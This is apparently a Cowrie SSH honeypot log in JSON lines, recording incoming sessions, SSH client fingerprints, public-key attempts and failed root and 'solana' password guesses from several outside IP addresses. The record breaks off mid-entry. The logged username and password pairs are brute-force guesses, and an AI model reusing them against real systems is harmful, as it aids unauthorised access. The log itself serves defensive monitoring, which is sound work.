{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:12.857033Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:a0:aa:45:d5:e7:3d:3d:98:51:75:a2:6e:e9:11:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5dqWd8t2EDpNoYsV2Dk5YD3grbA4FRgivZ2n/vO1pzSU7sJPBQVYrwtd/hoHREekOF8SDZwEN7xXJjfWaiQvKmVe6HIoBlPT8SNeJwPQmCAK00cxe65eSyqOJYO6Tf5cb45XqtHcb4s8MEys7P0gCWwboaWjCTEBgea8fmU5IJ8gSRh5CWzfE84eO/HHNwnPRA660/1tt9+jN3V9wBfSeaftlw3kSQn5Esw8N/j+LnVfuW6gToGNv7JKr8V8Z0eJ/TpQpkhM7U7MwaWqfjmu7Ap9G+AHMq/maWW+Yr9ASCFyd8wM7rqXEkAu7u6TYBeXZUc34lNlID+ID1XtiE5+9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:a0:aa:45:d5:e7:3d:3d:98:51:75:a2:6e:e9:11:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.250874Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:a0:aa:45:d5:e7:3d:3d:98:51:75:a2:6e:e9:11:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5dqWd8t2EDpNoYsV2Dk5YD3grbA4FRgivZ2n/vO1pzSU7sJPBQVYrwtd/hoHREekOF8SDZwEN7xXJjfWaiQvKmVe6HIoBlPT8SNeJwPQmCAK00cxe65eSyqOJYO6Tf5cb45XqtHcb4s8MEys7P0gCWwboaWjCTEBgea8fmU5IJ8gSRh5CWzfE84eO/HHNwnPRA660/1tt9+jN3V9wBfSeaftlw3kSQn5Esw8N/j+LnVfuW6gToGNv7JKr8V8Z0eJ/TpQpkhM7U7MwaWqfjmu7Ap9G+AHMq/maWW+Yr9ASCFyd8wM7rqXEkAu7u6TYBeXZUc34lNlID+ID1XtiE5+9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.255874Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:79:6f:09:eb:5c:aa:6c:e6:99:be:06:a5:01:20:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbO7qelO3+YGvFBRui51JpqZFzSyRvcrC/wWJovpnCWTwukiH3G8lu0B2kmH/FSzf4xHMxEwD2/gpfsdensMebaYYUcHudDGmGrS+sI4QW6IrfB8quKZl4zfqQyv1/2Kunau9ffiLDcTYTfcy47TN/9rTJWHAtvQ7AfT/ZazEZH051Ga6vxO9ZpOoh2XatsjrpmsJuSQ3HqSHGK99WazqkuE0Y+eP2JYJXcVlWOiHHi6+DxA1EPc1V8eSVw5Vsf5N+tMD2EvRiTxhe4yWZAaEZ5Wjxek9mZcvMkfgduN7XhhpCl1gC/yMfctH8oHAWiRd4slAJ2uPwSHNf/E/Byl1yMR7wqNSoxkM7K4I0N/mOzUrIyB1TH5oXxkCdcvJgyQPEQGzOxfuf6amhQyEO9y5n2DNCB1RBVvWqDh6W0V7g7b3Yx99Z5QenEDnsibuGUEOX6Dkwa4ajO3y+b26q10Mcr6TXP2PJWRljmaGa5oa63h5JHzSfffEip0/N4VNFL40=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:79:6f:09:eb:5c:aa:6c:e6:99:be:06:a5:01:20:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.340613Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:79:6f:09:eb:5c:aa:6c:e6:99:be:06:a5:01:20:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbO7qelO3+YGvFBRui51JpqZFzSyRvcrC/wWJovpnCWTwukiH3G8lu0B2kmH/FSzf4xHMxEwD2/gpfsdensMebaYYUcHudDGmGrS+sI4QW6IrfB8quKZl4zfqQyv1/2Kunau9ffiLDcTYTfcy47TN/9rTJWHAtvQ7AfT/ZazEZH051Ga6vxO9ZpOoh2XatsjrpmsJuSQ3HqSHGK99WazqkuE0Y+eP2JYJXcVlWOiHHi6+DxA1EPc1V8eSVw5Vsf5N+tMD2EvRiTxhe4yWZAaEZ5Wjxek9mZcvMkfgduN7XhhpCl1gC/yMfctH8oHAWiRd4slAJ2uPwSHNf/E/Byl1yMR7wqNSoxkM7K4I0N/mOzUrIyB1TH5oXxkCdcvJgyQPEQGzOxfuf6amhQyEO9y5n2DNCB1RBVvWqDh6W0V7g7b3Yx99Z5QenEDnsibuGUEOX6Dkwa4ajO3y+b26q10Mcr6TXP2PJWRljmaGa5oa63h5JHzSfffEip0/N4VNFL40=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.345026Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:cf:ea:60:13:46:94:b9:c1:08:72:59:d1:4e:68:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC10DYK3IFYwDh0HuzLbgKjCcjb9mG4l15/fqG+jlK0WREVRVEN2PzC8/cRPLLhiWcIiSuYTaV3CTNNJst4526dWbIxBPAa1QHN/cDXOabMENYylZu3maZ5xr5es5yYKn8iqkc04hE5CApuAnu/CFOs3homby4mDcORjAN7WE3MgDXidWyNgGsXiQQgCPlTEX9kTqA2fcRZdsfz1aJRslbnJ48mwnNdKj6MFcmoHypvbLWbwPlX0L58i6XsqWi2jCh2evNsfbOt6+ip+cOljHKCiEqoJrvZ68e03/IqZGkuY5xNcdY5lNg4cegu9134B5AfHKSiEiQkGO0mzfchg8BF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:cf:ea:60:13:46:94:b9:c1:08:72:59:d1:4e:68:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.429785Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:cf:ea:60:13:46:94:b9:c1:08:72:59:d1:4e:68:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC10DYK3IFYwDh0HuzLbgKjCcjb9mG4l15/fqG+jlK0WREVRVEN2PzC8/cRPLLhiWcIiSuYTaV3CTNNJst4526dWbIxBPAa1QHN/cDXOabMENYylZu3maZ5xr5es5yYKn8iqkc04hE5CApuAnu/CFOs3homby4mDcORjAN7WE3MgDXidWyNgGsXiQQgCPlTEX9kTqA2fcRZdsfz1aJRslbnJ48mwnNdKj6MFcmoHypvbLWbwPlX0L58i6XsqWi2jCh2evNsfbOt6+ip+cOljHKCiEqoJrvZ68e03/IqZGkuY5xNcdY5lNg4cegu9134B5AfHKSiEiQkGO0mzfchg8BF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.434664Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:b3:5d:34:03:aa:47:b3:5a:36:dd:3f:aa:f8:3d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQ8ZP7UyzH7Qy8HFo6uKoZkncMx4Q5edN/DGtZaaBb6jCg7Sh8NtxM2fUNJXTIJM8gwFGhWDObQCLFlH/1jkboEgsWQC3+5mW7/SrDVe36/ybifNCRhVOVoNiIf+jSSmmG2U+5NIso+79jVFPR4T/vn1JUV07P0tNCDuagIGXRMU+9UZnoV8kE4hiuKR75Tvl8U5yMu17PZVcEGciBvxD1MBiGr2Uf0rfOGveGzrvdpA2M0ugDrpP5T3S5/PzhzAUzyOIh5+2UkVRxec/VN6hPeQRkdrqQ4mP/Tfc+4xBJgW0aXwbQ5/ByNWHxRkj+LHv5Q6f1/GMfFmK84U39WXd3900hAFGP9dpPBnt5AI/IIuLO/QL7PjDvBkLoMn5u40aIQTNBbOB9YcQY2KKm7gxgUpiieIe302twD9ClA50DUgsK3tE13USvYX0y8Z1LG5SzyI2TQZsoYYmt8QiPC0de3S2ICDyD7nWNQjhzY3NDSd1F6iUSqQF93ap52GR1NQVILgT+cBTxpu28Y040kQlu7pGUo+mweonjN7/2dxMTadx9ujjT67JSPmscCsSWiONMTA62AokyUL+Yc562cthVrCYcSEUCC9z3ajZ2Sr3uef7JzrIPhZSojJ/NATHb4+gN4cNThoGgpD9K1Xk9cbIm5c+NhwAHnYMeN9WX9foFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:b3:5d:34:03:aa:47:b3:5a:36:dd:3f:aa:f8:3d:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.522330Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:b3:5d:34:03:aa:47:b3:5a:36:dd:3f:aa:f8:3d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQ8ZP7UyzH7Qy8HFo6uKoZkncMx4Q5edN/DGtZaaBb6jCg7Sh8NtxM2fUNJXTIJM8gwFGhWDObQCLFlH/1jkboEgsWQC3+5mW7/SrDVe36/ybifNCRhVOVoNiIf+jSSmmG2U+5NIso+79jVFPR4T/vn1JUV07P0tNCDuagIGXRMU+9UZnoV8kE4hiuKR75Tvl8U5yMu17PZVcEGciBvxD1MBiGr2Uf0rfOGveGzrvdpA2M0ugDrpP5T3S5/PzhzAUzyOIh5+2UkVRxec/VN6hPeQRkdrqQ4mP/Tfc+4xBJgW0aXwbQ5/ByNWHxRkj+LHv5Q6f1/GMfFmK84U39WXd3900hAFGP9dpPBnt5AI/IIuLO/QL7PjDvBkLoMn5u40aIQTNBbOB9YcQY2KKm7gxgUpiieIe302twD9ClA50DUgsK3tE13USvYX0y8Z1LG5SzyI2TQZsoYYmt8QiPC0de3S2ICDyD7nWNQjhzY3NDSd1F6iUSqQF93ap52GR1NQVILgT+cBTxpu28Y040kQlu7pGUo+mweonjN7/2dxMTadx9ujjT67JSPmscCsSWiONMTA62AokyUL+Yc562cthVrCYcSEUCC9z3ajZ2Sr3uef7JzrIPhZSojJ/NATHb4+gN4cNThoGgpD9K1Xk9cbIm5c+NhwAHnYMeN9WX9foFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.526725Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:d8:eb:12:f2:fb:b1:a5:7c:63:27:e3:5e:4d:ff:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz2ynZW2noZgIiF2QQnqixiSHJT64d8/y1R6n3C6/KqOgNcc6ouybBFV7WOgM5Qm0lcGohkHNbHsMAnsIwAOYsmfibHT8drKXSEYZ3PX3vEiQC3B+R58g2u2UsaVXW+1so8Rf6wdyKpXnLli3v3JGu/3AbEb1XIcUOXGJztdd2yQ/0f9P0CAArUpyMYc8Iy4PY6DAIHxgvo/QjJB8sdu9ahEw/sX/3lyB4l3gIhX3/zf/ZsBVVxE5hxGuh/603FWJZeVIHHO6gURiL/Vba3M6tvyhkkOCxbriI0EncbKCNoffG7KSXJf5j2T+l6qMQ10KsCdXahDzjw/Lkmikg9n51","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:d8:eb:12:f2:fb:b1:a5:7c:63:27:e3:5e:4d:ff:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.612214Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:d8:eb:12:f2:fb:b1:a5:7c:63:27:e3:5e:4d:ff:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz2ynZW2noZgIiF2QQnqixiSHJT64d8/y1R6n3C6/KqOgNcc6ouybBFV7WOgM5Qm0lcGohkHNbHsMAnsIwAOYsmfibHT8drKXSEYZ3PX3vEiQC3B+R58g2u2UsaVXW+1so8Rf6wdyKpXnLli3v3JGu/3AbEb1XIcUOXGJztdd2yQ/0f9P0CAArUpyMYc8Iy4PY6DAIHxgvo/QjJB8sdu9ahEw/sX/3lyB4l3gIhX3/zf/ZsBVVxE5hxGuh/603FWJZeVIHHO6gURiL/Vba3M6tvyhkkOCxbriI0EncbKCNoffG7KSXJf5j2T+l6qMQ10KsCdXahDzjw/Lkmikg9n51","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.617504Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:13.702342Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56608,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0167e2dd71","protocol":"ssh","message":"New connection: 80.94.92.186:56608 (159.203.135.109:22) [session: 3c0167e2dd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:19.374049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:19.485478Z","src_ip":"80.94.92.186","session":"3c0167e2dd71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:19.661144Z","src_ip":"80.94.92.186","session":"3c0167e2dd71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:20.796698Z","src_ip":"80.94.92.186","session":"3c0167e2dd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:22.097793Z","src_ip":"80.94.92.186","session":"3c0167e2dd71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb174c84e59b","protocol":"ssh","message":"New connection: 103.149.28.157:38100 (159.203.135.109:22) [session: eb174c84e59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:26.255133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:26.264962Z","src_ip":"103.149.28.157","session":"eb174c84e59b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:26.513366Z","src_ip":"103.149.28.157","session":"eb174c84e59b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123asd","message":"login attempt [root/asd123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:27.262904Z","src_ip":"103.149.28.157","session":"eb174c84e59b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:28.513653Z","src_ip":"103.149.28.157","session":"eb174c84e59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":32856,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b2e7ba95e5","protocol":"ssh","message":"New connection: 194.113.233.25:32856 (10.17.0.5:22) [session: b2b2e7ba95e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:35.218371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:35.223812Z","src_ip":"194.113.233.25","session":"b2b2e7ba95e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:35.313621Z","src_ip":"194.113.233.25","session":"b2b2e7ba95e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234565","message":"login attempt [root/1234565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:35.734215Z","src_ip":"194.113.233.25","session":"b2b2e7ba95e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:36.827813Z","src_ip":"194.113.233.25","session":"b2b2e7ba95e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59052,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ccc98937aca","protocol":"ssh","message":"New connection: 62.133.62.83:59052 (159.203.135.109:22) [session: 4ccc98937aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:39.283901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:39.292276Z","src_ip":"62.133.62.83","session":"4ccc98937aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm